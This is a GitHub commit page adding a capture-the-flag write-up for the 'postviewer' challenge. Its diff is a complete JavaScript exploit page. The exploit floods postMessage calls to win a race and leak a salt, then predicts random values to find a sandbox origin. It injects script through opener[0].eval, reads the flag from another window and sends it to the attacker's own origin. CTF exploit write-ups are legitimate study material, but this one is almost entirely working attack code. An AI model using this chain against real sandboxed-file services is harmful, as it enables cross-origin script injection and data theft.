Skip to content

Commit 976d1ac

Browse files
authored
Merge pull request #15 from b1tsOnTiLT/main
Add postviewer writeup
2 parents 86a010e + 413e287 commit 976d1ac

File tree

7 files changed

+799
-0
lines changed

7 files changed

+799
-0
lines changed
Lines changed: 249 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,249 @@
1+
<script src="http://localhost:1338/static/safe-frame.js"></script>
2+
<script src="http://localhost:1338/static/util.js"></script>
3+
4+
<!-- http://34.44.166.247/exploit-eolldodkgm9 -->
5+
<script>
6+
7+
const RELOAD_TIME = 150;
8+
const SMALL_DELAY = 2;
9+
const MSG_DELAY = 80;
10+
const MSG_INTERVAL = 3000;
11+
const FIRST_STEP = 1e4; // try 1e5 if doesn't give flag after multiple tries
12+
const SECOND_STEP = 8e3; // try 9e3 if doesn't give flag after multiple tries
13+
14+
const sleep = d => new Promise(r=>setTimeout(r,d));
15+
16+
const { promise: leakedSaltPromise, resolve: leakedSaltResolver } = Promise.withResolvers();
17+
const { promise: xssReadyPromise, resolve: xssReadyResolver } = Promise.withResolvers();
18+
const { promise: blankReadyPromise, resolve: blankReadyResolver } = Promise.withResolvers();
19+
20+
let saltLeaked = false;
21+
22+
function reset(){
23+
appWin.close();
24+
setTimeout(()=>{
25+
location.reload();
26+
},1000);
27+
}
28+
29+
const splitToChunks = (arr, size) =>
30+
Array.from({ length: Math.ceil(arr.length / size) }, (v, i) =>
31+
arr.slice(i * size, i * size + size)
32+
);
33+
34+
async function predictValidFlag(salt){
35+
36+
try{
37+
const predictions = await fetch('/predict/'+salt).then(e=>e.json());
38+
if(predictions.length == 0){
39+
throw /failed to crack/;
40+
}
41+
const chunks = splitToChunks(predictions, 5);
42+
let found = false;
43+
let foundIdx = 0;
44+
for(let i = 0; i < chunks.length; i++){
45+
const newSalt = chunks[i].map(e=>e.toString(36).slice(2)).join('');
46+
if(!found) {
47+
if(newSalt == salt){
48+
found = true;
49+
foundIndex = i;
50+
window.predictions = [salt];
51+
}
52+
continue;
53+
}
54+
window.predictions.push(newSalt);
55+
if(newSalt.length == 49 || newSalt.length == 50){
56+
return [newSalt, i-foundIndex-1];
57+
}
58+
}
59+
throw /no salt found/;
60+
}catch(e){
61+
console.error(e);
62+
reset();
63+
}
64+
}
65+
66+
async function generateBlob(content, nameLength=50){
67+
for(let i=0; i<1e4; i++){
68+
const newContent = content + Math.random();
69+
const blob = new Blob([newContent], {type: 'text/html'})
70+
const file = new File([blob], 'test' + 'a'.repeat(nameLength - 4), {type: 'text/html'});
71+
const id = await generateFileId(file);
72+
if(id.includes('test')){
73+
return blob
74+
}
75+
}
76+
throw new Error("didn't find content");
77+
}
78+
79+
onmessage = e => {
80+
if(e.data.salt){
81+
saltLeaked = true;
82+
clearInterval(window.interval);
83+
leakedSaltResolver(new TextDecoder('utf-8').decode(e.data.salt));
84+
}
85+
if(e.data == 'ready'){
86+
xssReadyResolver();
87+
}
88+
89+
if(e.data == 'blankReady'){
90+
blankReadyResolver();
91+
}
92+
93+
if(e.data == 'loaded'){
94+
setTimeout(()=>{
95+
if(!saltLeaked){
96+
reset();
97+
}
98+
}, 3_000);
99+
}
100+
}
101+
102+
103+
onload = async () => {
104+
window.appWin = open(`http://localhost:1338/#`, 'exploit', 'width=500,height=500');
105+
106+
await new Promise(resolve=>{
107+
const interval = setInterval(()=>{
108+
try{
109+
appWin.location.href;
110+
}catch(e){
111+
resolve();
112+
clearInterval(interval);
113+
}
114+
});
115+
});
116+
await sleep(500);
117+
118+
const blobName = await generateBlob(
119+
`<script>window.name = "scf"; location = "${origin}/log/blob";<\/script>`);
120+
121+
122+
const blobSalt = await generateBlob(`
123+
<script>onload = () => {
124+
console.log('[blob] loaded', Date.now());
125+
opener.postMessage('loaded', '*');
126+
}
127+
onmessage = (e) => {opener.postMessage(e.data, '*')};
128+
<\/script>
129+
leak salt
130+
`);
131+
132+
133+
const transmitXss = await generateBlob(`
134+
XSS<script>opener[0].eval(\`
135+
top.postMessage("ready", "*");
136+
flagWin = open('', 'scf');
137+
var interval = setInterval(()=>{
138+
const flag = flagWin.document.body.innerText;
139+
if(flag.includes("CTF{")){
140+
clearInterval(interval);
141+
location="${window.origin}/flag/" + flag;
142+
}
143+
}, 1000);
144+
\`)<\/script>
145+
`, 49);
146+
147+
const infiniteLoadBlob = URL.createObjectURL(new Blob([`
148+
Reload
149+
<script>
150+
itself = false;
151+
int = setTimeout(()=>{
152+
itself = true;
153+
location = URL.createObjectURL(new Blob([document.documentElement.innerHTML], {type: 'text/html'}))
154+
}, ${RELOAD_TIME});
155+
onbeforeunload = () => {
156+
if(!itself){
157+
console.log('before', Date.now());
158+
opener.postMessage('loaded', '*');
159+
}
160+
clearInterval(int);
161+
}
162+
<\/script>
163+
`], {type: 'text/html'}));
164+
165+
166+
const blankBlob = await generateBlob(`blank<script>onload = () => opener.postMessage('blankReady', '*');<\/script>`);
167+
168+
169+
const shareFile = function(blob, name, cached=false){
170+
appWin.postMessage({
171+
type:'share',
172+
files:[{
173+
blob,
174+
cached,
175+
name
176+
}]
177+
}, '*');
178+
}
179+
180+
181+
shareFile(blobName, 'setname' + 'a'.repeat(50), true);
182+
await sleep(1000);
183+
184+
window.innerWin = open('', 'scf');
185+
window.innerWin.location = infiniteLoadBlob;
186+
await sleep(1000);
187+
188+
shareFile(blobSalt, 'blobsalt' + 'a'.repeat(50));
189+
fetch('/log/refresh');
190+
191+
await sleep(SMALL_DELAY);
192+
// const buff = new Uint8Array(5e7);
193+
// appWin.postMessage({ slow: 1e9 }, '*')
194+
appWin.postMessage({ type:'share', files:{length: FIRST_STEP} }, '*')
195+
console.log('[exp] slow down', Date.now());
196+
window.interval = setInterval(() => {
197+
// delay around 900ms
198+
// const buff = new Uint8Array(3e7);
199+
appWin.postMessage({ type:'share', files:{length: SECOND_STEP} }, '*')
200+
}, MSG_DELAY);
201+
202+
203+
setTimeout(()=>{
204+
clearInterval(window.interval);
205+
}, MSG_INTERVAL)
206+
// In Chrome I only managed to win the race with reloading an innerIframe
207+
// I suspect it's because it will trigger additional onload() event
208+
// setTimeout(() => {console.log('innerWin', Date.now(), innerWin.origin); innerWin.location = "/reload/200" }, 80);
209+
210+
const salt = await leakedSaltPromise;
211+
console.log('[exp] salt', salt);
212+
213+
const [predictedFlagSalt, afterN] = await predictValidFlag(salt);
214+
console.log('[exp] predicted', predictedFlagSalt, afterN);
215+
fetch('/log/predict:' + predictedFlagSalt + ':' + afterN);
216+
const hash = await calculateHash('google-ctf', predictedFlagSalt, 'http://localhost:1338');
217+
const url = new URL(
218+
`https://${hash}-h748636364.scf.usercontent.goog/google-ctf/shim.html?cache=1`
219+
);
220+
221+
let firstPred = true;
222+
for(let i = 0; i < afterN; i++){
223+
shareFile(blankBlob, 'blank' + 'a'.repeat(50));
224+
await sleep(10);
225+
firstPred = false;
226+
}
227+
228+
const iframe = document.createElement('iframe');
229+
iframe.src = url;
230+
document.body.appendChild(iframe);
231+
232+
await new Promise(r=>iframe.onload=r);
233+
234+
if(!firstPred){
235+
await blankReadyPromise;
236+
console.log('[exp] blank ready');
237+
}
238+
239+
shareFile(transmitXss, predictedFlagSalt, true);
240+
241+
await xssReadyPromise;
242+
await sleep(1500);
243+
appWin.location = 'http://localhost:1338/#'
244+
await sleep(100);
245+
appWin.location = 'http://localhost:1338/#0'
246+
247+
}
248+
249+
</script>

0 commit comments

Comments
 (0)